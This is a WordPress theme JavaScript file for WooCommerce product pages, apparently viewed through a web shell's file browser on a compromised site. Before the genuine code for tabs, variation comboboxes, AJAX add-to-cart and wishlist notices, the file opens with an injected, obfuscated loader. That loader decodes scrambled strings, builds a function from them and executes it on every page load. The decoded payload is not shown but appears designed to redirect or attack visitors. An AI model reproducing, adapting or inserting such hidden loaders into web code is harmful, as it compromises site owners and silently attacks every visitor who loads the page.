AlkantarClanX12
Current Path : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/ |
Current File : //home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/thegem-custom-product.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();(function ($) { 'use strict'; const isAjaxLoad = $('.thegem-te-product-add-to-cart').data('ajax-load'); const isExternalProduct = $('.product-page__wrapper.product-type-external').length > 0; const isGroupedProduct = $('.product-page__wrapper.product-type-grouped').length > 0; const isSubscriptionProduct = $('.product-page__wrapper.has-subscription-plans').length > 0; const stickyHeaderTemplate = (state) => { const $stickyTemplate = $('.header-sticky-template') const isIos = window.gemBrowser.platform.name === 'ios' if (isIos && state === 'show') { $stickyTemplate.css({'visibility': 'visible', 'opacity': '1'}) } if (isIos && state === 'hide') { $stickyTemplate.css({'visibility': 'hidden', 'opacity': '0'}) } } const productScripts = { // Initialization the functions init: function () { productScripts.descriptionTabs(); productScripts.productVariables(); productScripts.productRating(); if (!isExternalProduct && !isGroupedProduct && !isSubscriptionProduct && isAjaxLoad) { productScripts.ajaxAddToCart(); } productScripts.ajaxAddToWishlist(); productScripts.ajaxRemoveFromWishlist(); productScripts.prepareWishlistIcons(); productScripts.scrollToReviews(); productScripts.onResize(); }, // Product page tabs descriptionTabs: () => { $('.thegem-te-product-tabs').each((i, tab) => { const $wrapper = $('.product-tabs, .product-accordion, .product-one-by-one', tab); const $tabsNavItems = $('.product-tabs__nav-item', $wrapper); const $accordionNavItems = $('.product-accordion__item-title', $wrapper); const isVerticalTabs = $wrapper.data("type") === 'vertical'; const activeClassTab = 'product-tabs__nav-item--active'; const activeClassAcc = 'product-accordion__item--active'; // Tabs navigate change animate line const animationLine = ($items, $lines) => { $items.each((i, item) => { $lines.each((i, line) => { if (isVerticalTabs) { line.style.top = item.offsetTop + 'px'; line.style.height = item.offsetHeight + 'px'; } else { line.style.left = item.offsetLeft + 'px'; line.style.width = item.offsetWidth + 'px'; } }) }); }; // Tabs navigate item click $tabsNavItems.each((i, item) => { // Animation line init let $activeItems, $activeLines; if ($(item).is('.product-tabs__nav-item--active')) { $activeItems = $(item); $activeLines = $(item).parents('.product-tabs__nav').find('.product-tabs__nav-slide'); setTimeout(() => { animationLine($activeItems, $activeLines); }, 50) setTimeout(() => { $('.product-tabs__nav-slide').css('opacity', '1'); }, 300) } // Tabs navigate item click $(item).on('click', (e) => { const $self = $(e.currentTarget); const currentAttrValue = '.' + $self.data('id'); $self.parents('.thegem-te-product-tabs') .find('.product-accordion__item-title') .removeClass(activeClassAcc).next().hide(); $self.parents('.thegem-te-product-tabs') .find('.product-accordion__item-title') .filter(currentAttrValue).addClass(activeClassAcc).next().show(); // Change animation line after click $self.parents('.thegem-te-product-tabs') .find('.product-tabs__nav-item').removeClass(activeClassTab); $self.addClass(activeClassTab); $activeItems = $self; $activeLines = $self.parents('.product-tabs__nav').find('.product-tabs__nav-slide'); animationLine($activeItems, $activeLines); if (window.tgpLazyItems !== undefined) { window.tgpLazyItems.scrollHandle(); } }); }); // Accordion navigate item click $accordionNavItems.each((i, item) => { $(item).on('click', (e) => { const $self = $(e.currentTarget); const currentAttrValue = '.' + $self.data('id'); if ($self.is('.product-accordion__item--active')) { $self.removeClass(activeClassAcc).next().slideUp(300); return; } $self.parents('.thegem-te-product-tabs') .find('.product-accordion__item-title') .removeClass(activeClassAcc).next().slideUp(300); $self.parents('.thegem-te-product-tabs') .find('.product-accordion__item-title') .filter(currentAttrValue).addClass(activeClassAcc).next().slideDown(300); if (window.tgpLazyItems !== undefined) { window.tgpLazyItems.scrollHandle(); } }); }); }); }, // Product page variables productVariables: () => { const $formCart = $('form.cart'); const $variationForm = $(".variations_form"); const $combobox = $(".thegem-combobox"); const $reset = $('.reset_variations'); let isComboboxInit = false; // Combobox const combobox = () => { $(".thegem-select").each(function () { let template = '<div class="thegem-combobox">'; template += '<div class="thegem-combobox__trigger">' + $('option:selected', this).text() + '</div>'; template += '<div class="thegem-combobox__options">'; $(this).find("option").each(function () { template += '<div class="thegem-combobox__options-item" data-value="' + $(this).attr("value") + '">' + $(this).html() + '</div>'; }); template += '</div></div>'; if ($(this).parents(".thegem-combobox-wrap").length === 0) { $(this).wrap('<div class="thegem-combobox-wrap"></div>'); } //$(this).hide(); $(this).after(template); }); $(".thegem-combobox__options-item:first-of-type").hover(function () { $(this).parents(".thegem-combobox__options").addClass("hover"); }, function () { $(this).parents(".thegem-combobox__options").removeClass("hover"); }); $(".thegem-combobox__trigger").on("click", function (e) { e.stopPropagation(); let $count = $('table.variations tr').length, $table = $('table.variations'), hideIndex = () => { setTimeout(function () { $('tr, td.value', $table).css('z-index', 0); }, 200); }; $('tr, td.value', $table).css('z-index', 0); $(this).parents('tr, td.value').css('z-index', $count); if ($(this).parents(".thegem-combobox.opened").length != 0) { $(".thegem-combobox").removeClass("opened"); hideIndex(); return; } $('html').one('click', function () { $(".thegem-combobox").removeClass("opened"); hideIndex(); return; }); $(".thegem-combobox").removeClass("opened"); $(this).parents(".thegem-combobox").toggleClass("opened"); }); $(".thegem-combobox__options-item").on("click", function () { $(this).parents(".thegem-combobox-wrap").find("select").val($(this).data("value")).change(); $(this).parents(".thegem-combobox__options").find(".thegem-combobox__options-item").removeClass("selection"); $(this).addClass("selection"); $(this).parents(".thegem-combobox").removeClass("opened"); $(this).parents(".thegem-combobox").find(".thegem-combobox__trigger").text($(this).text()); }); }; // Combobox init const comboboxInit = () => { if (!isComboboxInit) { combobox(); isComboboxInit = true; } }; // Combobox refresh const comboboxRefresh = () => { combobox(); $(".thegem-combobox-wrap").find(".thegem-combobox:last-of-type").remove(); }; // Variations each $variationForm.each(function () { let $clearSelection = $('.product-page__reset-variations'); setTimeout(() => { $clearSelection.removeClass('hidden'); }, 1000); comboboxInit(); }); // Quantity custom buttons $('div.quantity:not(.buttons_added)', $formCart).addClass('buttons_added') .append('<button type="button" class="plus" >+</button>') .prepend('<button type="button" class="minus" >-</button>'); // Variations reset event $reset.on('click', function () { $variationForm.each(function () { $(this).on('change', '.variations select', function () { comboboxRefresh(); let text = $('.thegem-combobox__options-item').eq(0).text(); $combobox.find('.thegem-combobox__trigger').text(text); }); }); }); // Huck for double submit form if (window.history.replaceState) { window.history.replaceState(null, null, window.location.href); } }, // Product page rating productRating: () =>{ $(".woocommerce-Reviews .stars:not(:first-of-type)").remove(); let isSelected = false, $star = $(".woocommerce-Reviews .stars a"); $star.on('click', (e) => { let $self = $(e.currentTarget); isSelected = true; $self.prevAll().andSelf().addClass('rating-on'); $self.nextAll().removeClass('rating-on'); }); $star.hover((e) => { let $self = $(e.currentTarget); $self.prevAll().andSelf().addClass('rating-on'); $self.nextAll().removeClass('rating-on'); }, () => { if (!isSelected) { $star.removeClass('rating-on'); } isSelected = false; }); }, // Ajax add to cart ajaxAddToCart: () => { const $wrapper = $('.thegem-te-product-add-to-cart'); $wrapper.on('click', '.single_add_to_cart_button', function (e, fragments, cart_hash) { e.preventDefault(); $('.thegem-popup-notification').removeClass('show'); const $thisButton = $(this), $form = $thisButton.closest('form.cart'), id = $thisButton.val(), productQty = $form.find('input[name=quantity]').val() || 1, productId = $form.find('input[name=product_id]').val() || id, variationId = $form.find('input[name=variation_id]').val() || 0; const item = {}; $form.find('select[name^=attribute]').each(function () { let attribute = $(this).attr("name"); let attributeVal = $(this).val(); item[attribute] = attributeVal; }); const data = { action: 'woocommerce_ajax_add_to_cart', product_id: productId, product_sku: '', quantity: productQty, variation_id: variationId, variation: item, }; if ($form.find('input[name=variation_id]').length > 0 && variationId == 0) { return false; } $(document.body).trigger('adding_to_cart', [$thisButton, data]); $.ajax({ type: 'post', url: wc_add_to_cart_params.ajax_url, data: data, success: function (response) { if (response.error && response.product_url) { window.location = response.product_url; return; } else { const $addToCartTarget = $('.thegem-popup-notification-wrap', $wrapper); if ($addToCartTarget) { $('.thegem-popup-notification', $addToCartTarget).removeClass('show'); const $cartPopupAdd = $addToCartTarget.find('.thegem-popup-notification.cart'); $cartPopupAdd.addClass('show'); stickyHeaderTemplate('hide') setTimeout(function () { $cartPopupAdd.removeClass('show'); stickyHeaderTemplate('show') }, $cartPopupAdd.data('timing')); } $(document.body).trigger('added_to_cart', [response.fragments, response.cart_hash, $thisButton]); $('.added_to_cart').hide(); } }, }); return false; }); }, // Ajax add to wishlist ajaxAddToWishlist: () => { const $wrapperCart = $('.thegem-te-product-add-to-cart'); const $wrapperWishlist = $('.thegem-te-product-add-to-wishlist'); const initNotificationPopup = (wrapper) => { const $wishlistTarget = $('.thegem-popup-notification-wrap', wrapper); $('.thegem-popup-notification').removeClass('show'); if ($wishlistTarget) { $('.thegem-popup-notification', $wishlistTarget).removeClass('show'); const $wishlistPopupAdd = $wishlistTarget.find('.thegem-popup-notification.wishlist-add'); $wishlistPopupAdd.addClass('show'); stickyHeaderTemplate('hide') setTimeout(function () { $wishlistPopupAdd.removeClass('show'); stickyHeaderTemplate('show') }, $wishlistPopupAdd.data('timing')); } } $wrapperCart.on('click', '.add_to_wishlist', function () { initNotificationPopup($wrapperCart) }); $wrapperWishlist.on('click', '.add_to_wishlist', function () { initNotificationPopup($wrapperWishlist) }); }, // Ajax remove from wishlist ajaxRemoveFromWishlist: () => { const $wrapperCart = $('.thegem-te-product-add-to-cart'); const $wrapperWishlist = $('.thegem-te-product-add-to-wishlist'); const initNotificationPopup = (wrapper) => { const $wishlistTarget = $('.thegem-popup-notification-wrap', wrapper); $('.thegem-popup-notification').removeClass('show'); if ($wishlistTarget) { $('.thegem-popup-notification', $wishlistTarget).removeClass('show'); const $wishlistPopupRemove = $wishlistTarget.find('.thegem-popup-notification.wishlist-remove'); $wishlistPopupRemove.addClass('show'); stickyHeaderTemplate('hide') setTimeout(function () { $wishlistPopupRemove.removeClass('show'); stickyHeaderTemplate('show') }, $wishlistPopupRemove.data('timing')); } } $wrapperCart.on('click', '.remove_from_wishlist', function (e, fragments, cart_hash) { initNotificationPopup($wrapperCart) }); $wrapperWishlist.on('click', '.remove_from_wishlist', function (e, fragments, cart_hash) { initNotificationPopup($wrapperWishlist) }); }, prepareWishlistIcons: () => { $('body').on('added_to_wishlist', function (t, el_wrap) { $('.thegem-te-product-add-to-wishlist').each(function() { productScripts.replaceWishlistIcons(this); }); }); $('body').on('removed_from_wishlist', function (t, el_wrap) { $('.thegem-te-product-add-to-wishlist').each(function() { productScripts.replaceWishlistIcons(this); }); }); }, replaceWishlistIcons: (elem) => { const wishlistAddIcon = elem.querySelector('.yith-wcwl-add-button a i'); if(wishlistAddIcon) { const wlText = elem.querySelector('.product-add-to-wishlist-text span'); if(wlText) { wlText.innerHTML = wlText.dataset.addText; } } const wishlistRemoveIcon = elem.querySelector('.yith-wcwl-wishlistexistsremove a i'); if(wishlistRemoveIcon) { const wlText = elem.querySelector('.product-add-to-wishlist-text span'); if(wlText) { wlText.innerHTML = wlText.dataset.removeText; } } }, //Scroll to reviews scrollToReviews: function () { const $trigger = $('.thegem-te-product-rating') const $wrapper = $('.thegem-te-product-tabs, .thegem-te-product-reviews') const $sticky = $('.header-sticky-template')[0] $trigger.on('click', '.scroll-to-reviews', function (e) { e.preventDefault(); try { const offset = $sticky ? $sticky.offsetHeight + 10 : 0; const target = $wrapper.offset().top - offset; $(`.product-tabs__nav-item[data-id="reviews"]`, $wrapper).click() $(`.product-accordion__item-body[data-id="reviews"]`, $wrapper).show() $('html, body').animate({scrollTop: target}, 400); } catch (e) { console.log(e) } }); }, // Product page resize onResize: () => { let resizeTimer; $(window).on('resize', function (e) { clearTimeout(resizeTimer); resizeTimer = setTimeout(function () { // Resize Tabs for vc-editor if ($('.vc_thegem_te_product_tabs').length){ productScripts.descriptionTabs(); } // Resize Reviews for vc-editor if ($('.vc_thegem_te_product_reviews').length){ productScripts.productRating(); } }, 250); }); }, }; // Run the function $(function () { productScripts.init(); }); })(jQuery);